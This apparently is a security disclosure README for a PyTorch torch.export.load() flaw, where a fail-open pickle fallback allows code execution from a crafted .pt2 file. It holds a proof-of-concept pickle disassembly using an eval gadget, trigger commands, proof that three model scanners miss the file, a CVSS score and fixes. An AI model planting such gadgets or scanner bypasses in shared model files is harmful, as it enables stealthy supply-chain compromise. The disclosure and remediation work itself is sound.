YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

torch.export.load() .pt2 β€” fail-open pickle fallback β†’ arbitrary code execution (CWE-502 / CWE-94)

Status: hard-verified, staged. NOT filed. NOT uploaded. Verified on: PyTorch 2.13.0+cpu (latest release as of 2026-07-24), Python 3.13 (exec) / 3.12 (scanners). Verdict: BOTH β€” (a) huntr Model-File-Format report (target torch_export) because all three scanners MISS the .pt2, and (b) a genuine PyTorch library ACE worthy of a GitHub Security Advisory regardless of scanner behavior.


1. Summary

torch.export.load("model.pt2") β€” the standard, documented loader for PyTorch's .pt2 export archive β€” deserializes the packaged example_inputs (and constants / state_dict) through torch._export.serde.serialize.deserialize_torch_artifact(). That function attempts a safe torch.load(..., weights_only=True) and, on ANY exception, silently falls back to torch.load(..., weights_only=False), which executes arbitrary pickle __reduce__ / GLOBAL code.

An attacker crafts the nested example-inputs pickle so that its first opcode is a non-allowlisted GLOBAL (__builtin__.eval). Under weights_only=True the safe unpickler's find_class() rejects it and raises β€” which triggers the unsafe fallback, running the attacker's code. The payload returns an empty tuple, so deserialize_torch_artifact()'s isinstance(artifact,(tuple,dict)) post-check passes and torch.export.load() returns a normal ExportedProgram with no error and no warning surfaced to the caller β€” fully stealth.

This re-introduces, inside torch.export, exactly the arbitrary-code-execution that PyTorch 2.6 closed when it flipped torch.load's weights_only default to True. The safe default is present but structurally defeated by the blanket except Exception: β†’ weights_only=False.

2. Affected component (file : line)

torch/_export/serde/serialize.py β†’ deserialize_torch_artifact():

427  def deserialize_torch_artifact(serialized):
...
434      buffer = io.BytesIO(serialized)
435      buffer.seek(0)
436      # weights_only=False as we want to load custom objects here (e.g. ScriptObject)
437      try:
438          artifact = torch.load(buffer, weights_only=True)     # safe path
439      except Exception as e:
440          buffer.seek(0)
441          artifact = torch.load(buffer, weights_only=False)    # <-- UNSAFE FALLBACK: arbitrary code exec
442          log.warning("Fallback to weights_only=False succeeded. ...")
...
448      if not isinstance(artifact, (tuple, dict)):
449          raise AssertionError(...)

Reached from the public API: torch.export.load() β†’ torch/export/__init__.py:load() β†’ torch/export/pt2_archive/_package.py:load_pt2() β†’ _load_exported_programs() β†’ ExportedProgramDeserializer.deserialize() β†’ GraphModuleDeserializer.deserialize() (serialize.py:2989, self.example_inputs = deserialize_torch_artifact(example_inputs)) β†’ deserialize_torch_artifact() (serialize.py:442).

  • CWE-502 Deserialization of Untrusted Data (primary)
  • CWE-94 Improper Control of Generation of Code (Code Injection)
  • CWE-693 Protection Mechanism Failure (the fallback nullifies weights_only=True)

3. Proof of concept

Build (harmless, non-destructive marker payload β€” writes /tmp/PT2_RCE_POC.txt):

python build_poc.py            # -> model.pt2 (malicious) + benign.pt2 (control)

Trigger via the standard documented loader only (no private/internal API):

from torch.export import load
load("model.pt2")              # returns ExportedProgram, no exception
# side effect: /tmp/PT2_RCE_POC.txt now exists -> code executed at load time

verify_exec.py reproduces this and prints the marker contents. Observed output on torch 2.13.0+cpu:

marker present BEFORE load: False
torch.export.load() returned: ExportedProgram (NO exception -> stealth)
marker present AFTER load : True
marker contents           : pwned via torch.export.load .pt2 fail-open fallback

The captured traceback proves the exact path β€” the safe attempt raises, then the unsafe fallback runs the gadget:

File ".../torch/_export/serde/serialize.py", line 438, in deserialize_torch_artifact
    artifact = torch.load(buffer, weights_only=True)
_pickle.UnpicklingError: Weights only load failed. ...
    WeightsUnpickler error: Unsupported global: GLOBAL eval was not an allowed global by default...
During handling of the above exception, another exception occurred:
File ".../torch/_export/serde/serialize.py", line 442, in deserialize_torch_artifact
    log.warning("Fallback to weights_only=False succeeded. ...")   # line 441 already ran the gadget

Payload delivery: the malicious pickle lives in the nested archive model/data/sample_inputs/model.pt β†’ archive/data.pkl inside the outer .pt2 zip. Disassembly of the inner pickle:

0: PROTO 2
2: GLOBAL '__builtin__ eval'                       # non-allowlisted -> raises under weights_only=True
   BINUNICODE "(open('/tmp/PT2_RCE_POC.txt','w').write('...'), ())[1]"
   TUPLE1
   REDUCE                                           # eval(payload) executes on the fallback load
   STOP

A real attacker swaps the eval(...) argument for any command (os.system, reverse shell, etc.). The gadget returns () so the load completes cleanly and the model still functions β€” stealthy supply-chain implant in any .pt2 shared via a model hub.

Artifacts (sha256):

  • model.pt2 bed23d781a5ab9d8d1dacc9579200e5dc9bb6bc3eb1d273e6b2436fd2b47c12e
  • benign.pt2 6260246907cb95686a45b3c5c41890da66f63dea06c797927fe068cda0a9c9ae

4. Scanner results (resolves the HOLD caveat) β€” all three MISS the .pt2

Pinned versions: modelscan 0.8.8, picklescan 1.0.5, fickling 0.1.12 (numpy 2.5.1).

Scanner Command Verdict on model.pt2 (MALICIOUS) Verdict on benign.pt2 (control)
modelscan 0.8.8 modelscan -p model.pt2 MISS β€” "No issues found! πŸŽ‰"; error: "ModelScan does not support nested zip files." No issues found
picklescan 1.0.5 picklescan -p model.pt2 MISS β€” "Scanned files: 0 / Dangerous globals: 0" (never reaches the nested pickle) Scanned files: 0
fickling 0.1.12 fickling --check-safety model.pt2 MISS β€” "No pickle files detected" (does not unwrap the .pt2 β†’ nested .pt zip) No pickle files detected

Fickling only flags the gadget if a human manually double-unzips to the raw inner archive/data.pkl (then reports OVERTLY_MALICIOUS) β€” but it also flags the benign control's inner pickle as LIKELY_UNSAFE (_rebuild_tensor_v2), so even that manual path is not a clean discriminator, and no automated .pt2 scan reaches it.

Conclusion: against the delivered .pt2 artifact, all three scanners provide zero detection β†’ this is a clean scanner-bypass, hence huntr Model-File-Format eligible (target torch_export) and an unmediated library RCE.

Root cause of the bypass (independent of the fail-open bug): the .pt2 is a zip containing a nested torch-save zip (sample_inputs/model.pt) that itself contains the pickle β€” two levels of zip nesting that none of the three scanners descend into.


5. huntr Model-File-Format report (target: torch_export)

  • Title: torch.export.load() executes arbitrary code from a crafted .pt2 via fail-open weights_only=False fallback
  • Format / target: torch_export (.pt2)
  • Vulnerability type: Deserialization of Untrusted Data β†’ RCE (CWE-502 / CWE-94)
  • Loader (standard, documented): torch.export.load(path)
  • Affected: PyTorch through 2.13.0 (latest); the fallback is present wherever deserialize_torch_artifact exists in torch/_export/serde/serialize.py.
  • Scanner status: modelscan 0.8.8 / picklescan 1.0.5 / fickling 0.1.12 all report the malicious .pt2 as clean (evidence table Β§4).
  • Impact: loading an untrusted .pt2 (e.g. downloaded from a model hub) executes attacker code at load time; model returns normally afterward (stealth).
  • PoC: build_poc.py + verify_exec.py (Β§3).

6. PyTorch GitHub Security Advisory draft

Summary. torch.export.load() on a crafted .pt2 archive achieves arbitrary code execution. torch._export.serde.serialize.deserialize_torch_artifact() attempts torch.load(weights_only=True) and, on any exception, silently retries with weights_only=False, defeating the safe-by-default protection introduced in PyTorch 2.6. A single non-allowlisted GLOBAL in the packaged example-inputs pickle forces the safe attempt to raise and triggers the unsafe fallback.

Affected versions. Confirmed on torch==2.13.0 (latest). The vulnerable fail-open pattern is present in the current main and every release whose serialize.py contains this try/except.

Attack vector. A malicious .pt2 model file distributed via a model hub or any untrusted channel; the victim invokes the ordinary torch.export.load().

CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 (High). (Network-distributed model file; requires the victim to load it; full C/I/A loss via arbitrary code execution.)

Root cause. serialize.py:437-441:

try:
    artifact = torch.load(buffer, weights_only=True)
except Exception as e:                       # too broad
    buffer.seek(0)
    artifact = torch.load(buffer, weights_only=False)   # arbitrary code execution

weights_only=True raises UnpicklingError for any non-allowlisted global β€” including benign-but-unlisted types β€” and the handler responds by disabling the safety check entirely, so any attacker who can make the safe path raise (trivial: include one disallowed GLOBAL) gains code execution.

Reproduction. See Β§3 (build_poc.py, verify_exec.py); harmless marker payload.

Impact. Remote code execution on any host that loads an untrusted .pt2 with the documented API. Silent β€” the load succeeds and the model works, enabling stealthy supply-chain compromise.

Remediation.

  1. Remove the fail-open fallback β€” never downgrade to weights_only=False automatically. If custom objects are genuinely required, gate them behind an explicit, caller-supplied opt-in (e.g. a trust/allow_unsafe argument that defaults to False), never as an automatic exception handler.
  2. If a fallback must exist, restrict it to a curated safe_globals allowlist via torch.serialization.safe_globals([...]) rather than unrestricted weights_only=False.
  3. Do not silence the downgrade to log.warning; a security-relevant downgrade should raise by default.
  4. Have .pt2 loading refuse nested pickles carrying non-allowlisted globals outright.

7. Files in this package

  • build_poc.py β€” regenerates model.pt2 (malicious) and benign.pt2 (control); harmless marker payload only.
  • verify_exec.py β€” loads model.pt2 via torch.export.load() and confirms the marker was written (exec proof).
  • model.pt2 β€” malicious PoC archive.
  • benign.pt2 β€” benign control (scanner baseline).
  • README.md β€” this document.

8. Environment / versions

  • torch: 2.13.0+cpu (latest release, confirmed via PyTorch cpu index)
  • python: 3.13 (exec venv), 3.12 (scanner venv β€” modelscan 0.8.8 requires <3.13)
  • modelscan: 0.8.8, picklescan: 1.0.5, fickling: 0.1.12, numpy: 2.5.1
  • Exec confirmed: YES β€” /tmp/PT2_RCE_POC.txt written by torch.export.load("model.pt2").
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support